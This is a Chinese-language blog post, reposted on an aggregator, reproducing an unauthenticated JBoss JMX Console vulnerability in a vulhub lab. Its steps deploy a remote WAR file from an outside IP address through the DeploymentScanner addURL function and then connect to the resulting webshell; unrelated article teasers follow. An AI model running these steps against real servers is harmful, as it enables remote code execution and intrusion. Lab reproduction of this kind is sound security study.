Jboss 低版本JMX Console未授权

news2025/11/1 0:34:05

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到 jmx控制台，并在其中执⾏任何功能。

影响范围

Jboss4.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现

1.访问

http://172.16.1.78:8080/jmx-console/

2.这⾥我们使⽤得复现环境不存在，所以需要密码（正常环境⽆需密码直接可进⼊）

admin admin

3.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去（通过URL的⽅式远程部署）

4.找到⻚⾯中的void addURL() 选项远程加载war包来部署。

5.制作war包 填写war包远程地址

http://47.113.231.0/shw.war

6.webshell连接

http://172.16.1.78:8080/shw/shell.jsp

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2150309.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

力扣题解2414

力扣题解2414

大家好，欢迎来到无限大的频道。 今日继续给大家带来力扣题解。 题目描述（中等）： 最长的字母序连续字符串的长度 ​ ​字母序连续字符串 是由字母表中连续字母组成的字符串。换句话说，字符串 "abcdefghijklm…
阅读更多...
linux 最简单配置免密登录

linux 最简单配置免密登录

需求：两台服务器互信登录需要拉起对端服务 ip： 192.168.1.133 192.168.1.137 一、配置主机hosts，IP及主机名，两台都需要 二、192.168.1.137服务器，生成密钥 ssh-keygen -t rsa三、追加到文件 ~/.ssh/authorized_key…
阅读更多...
分布式中间件-Pika一个高效的分布式缓存组件

分布式中间件-Pika一个高效的分布式缓存组件

文章目录 Pika简介Pika特性Pika解决的问题及应用场景Pika架构之存储引擎部署模式1、主从模式2、分布式集群模式 Pika快速上手1、二进制包方式2、源码编译方式2.1 支持的平台2.2 依赖的库软件2.3 编译过程2.4 启动 Pika2.5 清空已编译的结果2.6 Pika 的开发调试 3、容器化3.1 使…
阅读更多...
【2025】儿童疫苗接种预约小程序（源码+文档+解答）

【2025】儿童疫苗接种预约小程序（源码+文档+解答）

博主介绍： ✌我是阿龙，一名专注于Java技术领域的程序员，全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师，我在计算机毕业设计开发方面积累了丰富的经验。同时，我也是掘金、华为云、阿里云、InfoQ等平台…
阅读更多...
【C++指南】inline内联函数详解

【C++指南】inline内联函数详解

💓 博客主页：倔强的石头的CSDN主页 📝Gitee主页：倔强的石头的gitee主页 ⏩ 文章专栏：《C指南》 期待您的关注 目录 引言 C为什么引入了inline来替代C语言中的宏 inline的基本用法 定义inline函数 inline的优势与…
阅读更多...
DAY20信息打点-红蓝队自动化项目资产侦察武器库部署企查产权网络空间

DAY20信息打点-红蓝队自动化项目资产侦察武器库部署企查产权网络空间

2.自动化-网络空间-AsamF 1.去GitHub上下载项目之后使用CMD打开 2.输入命令AsamF_windows_amd64.exe -v生成配置文件 3.AsamF会在~/.config/asamf/目录下生成config.json文件 C:\Users\Acer\.config\asamf 5.根据文档输入命令去查询所需信息（已经没有用了&#x…
阅读更多...
C/C++通过CLion2024进行Linux远程开发保姆级教学

C/C++通过CLion2024进行Linux远程开发保姆级教学

目前来说，对Linux远程开发支持相对比较好的也就是Clion和VSCode了，这两个其实对于C和C语言开发都很友好，大可不必过于纠结使用那个，至于VS和QtCreator，前者太过重量级了，后者更是不用说，主要用于…
阅读更多...
解锁自动化新境界：KeymouseGo，让键盘和鼠标动起来！

解锁自动化新境界：KeymouseGo，让键盘和鼠标动起来！

文章目录 解锁自动化新境界：KeymouseGo，让键盘和鼠标动起来！背景：为何选择KeymouseGo？KeymouseGo简介安装KeymouseGo简单函数使用应用场景常见问题与解决方案总结 解锁自动化新境界：KeymouseGo，…
阅读更多...
ISSTA 2024现场精彩：“杰出论文奖”超半数属于中国学者

ISSTA 2024现场精彩：“杰出论文奖”超半数属于中国学者

ISSTA会议是软件工程领域中最具影响力的国际会议之一，也是中国计算机学会（CCF）推荐的A类会议。 第33届ISSTA会议已于奥地利维也纳圆满结束，这场盛会已经吸引了众多来自学术界和工业界的软件测试专家、研究人员和工程师&#xff0c…
阅读更多...
学习C++的第三天！

学习C++的第三天！

C对C的函数部分的扩充 封装 #include <iostream> #include <memory.h> #include <stdlib.h> #include <string.h> using namespace std; using datatype int; //封装一个顺序表 class SeqList { private:datatype* ptr; //指向堆区空间的起始…
阅读更多...
基于嵌入式的智能物流柜（ 触摸屏/0.96寸oled屏）

基于嵌入式的智能物流柜（ 触摸屏/0.96寸oled屏）

演示 智能物流柜&#xff08;基础版&#xff09; 智能物流柜&#xff08;升级版&#xff09; 前言 这是本人在大二在学校接的一个简单的实验室项目&#xff0c;之前发布了一个&#xff0c;由于那是在暑假&#xff0c;家里器材有限&#xff0c;代码敲完之后&#xff0c;用面包板…
阅读更多...
PyTorch深度学习快速入门教程【土堆】基础知识篇

PyTorch深度学习快速入门教程【土堆】基础知识篇

Juptyer 版本&#xff1a; Python 3.9.19Pytorch 2.4.1 (pytorch0) C:\Users\25694>conda install nb_conda_kernels(pytorch0) C:\Users\25694>jupyter notebook使用conda环境的pytorch&#xff1a; 成功解决python.exe无法找到程序入口 无法定位程序输入点 shifte…
阅读更多...
机器学习-深度学习数据集之打架斗殴识别数据集

机器学习-深度学习数据集之打架斗殴识别数据集

关于“打架识别数据集”&#xff0c;这是一个专门设计用于训练计算机视觉模型以识别打架、摔倒以及持械行为的数据集。此类数据集对于开发安全监控系统至关重要&#xff0c;可以帮助在公共场所如学校、酒吧或地铁站等地及时发现潜在的暴力事件&#xff0c;从而快速采取行动来防…
阅读更多...
anaconda的windows新手安装及配置教程（适用于物联网工程、计算机专业）

anaconda的windows新手安装及配置教程（适用于物联网工程、计算机专业）

第一步：点击免费下载 点击我直达anaconda官网">——>点击我直达anaconda官网 第二步：跳过注册 第三步：下载windows版本 第四步：安装步骤 1.Next （下一步） 2.I Agree （我同意） 3.默认即可，下一步 4.安装地址可以选到D盘，如果没有默认也行，只是一个…
阅读更多...
上传富文本插入文件时报错：JSON parse error: Unexpected character解决办法

上传富文本插入文件时报错：JSON parse error: Unexpected character解决办法

方式一&#xff08;加密解密&#xff09;&#xff1a; 1.前端 &#xff08;1&#xff09;安装 crypto-js npm install crypto-js&#xff08;2&#xff09;util下创建asc.js asc.js import CryptoJS from crypto-js// 需要和后端一致 const KEY CryptoJS.enc.Utf8.parse(…
阅读更多...
《Linux基础》练习操作

《Linux基础》练习操作

一、文件目录类操作 1. 创建新用户user&#xff0c;其中用户名为学生姓名首字小写(如:张三&#xff0c;用户名为zsan) 将/etc/passwd拷贝到/home/user下面。修改/home/user/passwd,在文件的第15行下添加“hello 学号姓名”&#xff0c;光标停留在 hello 学号姓名…
阅读更多...
[漏洞复现]泛微e-mobile cdnfile文件读取漏洞分析复现

[漏洞复现]泛微e-mobile cdnfile文件读取漏洞分析复现

如果觉得该文章有帮助的&#xff0c;麻烦师傅们可以搜索下微信公众号&#xff1a;良月安全。点个关注&#xff0c;感谢师傅们的支持。 免责声明 本号所发布的所有内容&#xff0c;包括但不限于信息、工具、项目以及文章&#xff0c;均旨在提供学习与研究之用。所有工具安全性…
阅读更多...
金属3D打印经济效益高吗？

金属3D打印经济效益高吗？

在我国制造业迈向产业升级的重要阶段&#xff0c;3D打印技术如同一股强劲的新风&#xff0c;特别是在航空航天、汽车、生物医疗等领域&#xff0c;已成为复杂构件制造的“明星”技术。那么&#xff0c;对于众多生产厂家而言&#xff0c;金属3D打印的经济账到底怎么算&#xff1…
阅读更多...
永磁同步电机谐波抑制算法（8）——基于神经网络的傻瓜式（无需知道谐波频率）谐波抑制

永磁同步电机谐波抑制算法（8）——基于神经网络的傻瓜式（无需知道谐波频率）谐波抑制

1.简介 前面的内容已经介绍了很多谐波抑制的方法&#xff1a;多同步、PIR、陷波器等等。也介绍了比较多的谐波来源&#xff1a;死区&#xff08;5、7、11、13等次相电流谐波&#xff09;、绕组不对称&#xff08;基波不等幅值、3次相电流谐波&#xff09;等等。 上述的方法都…
阅读更多...
基于springboot+vue超市管理系统

基于springboot+vue超市管理系统

基于springbootvue超市管理系统 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本无人超市管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助使用者在…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023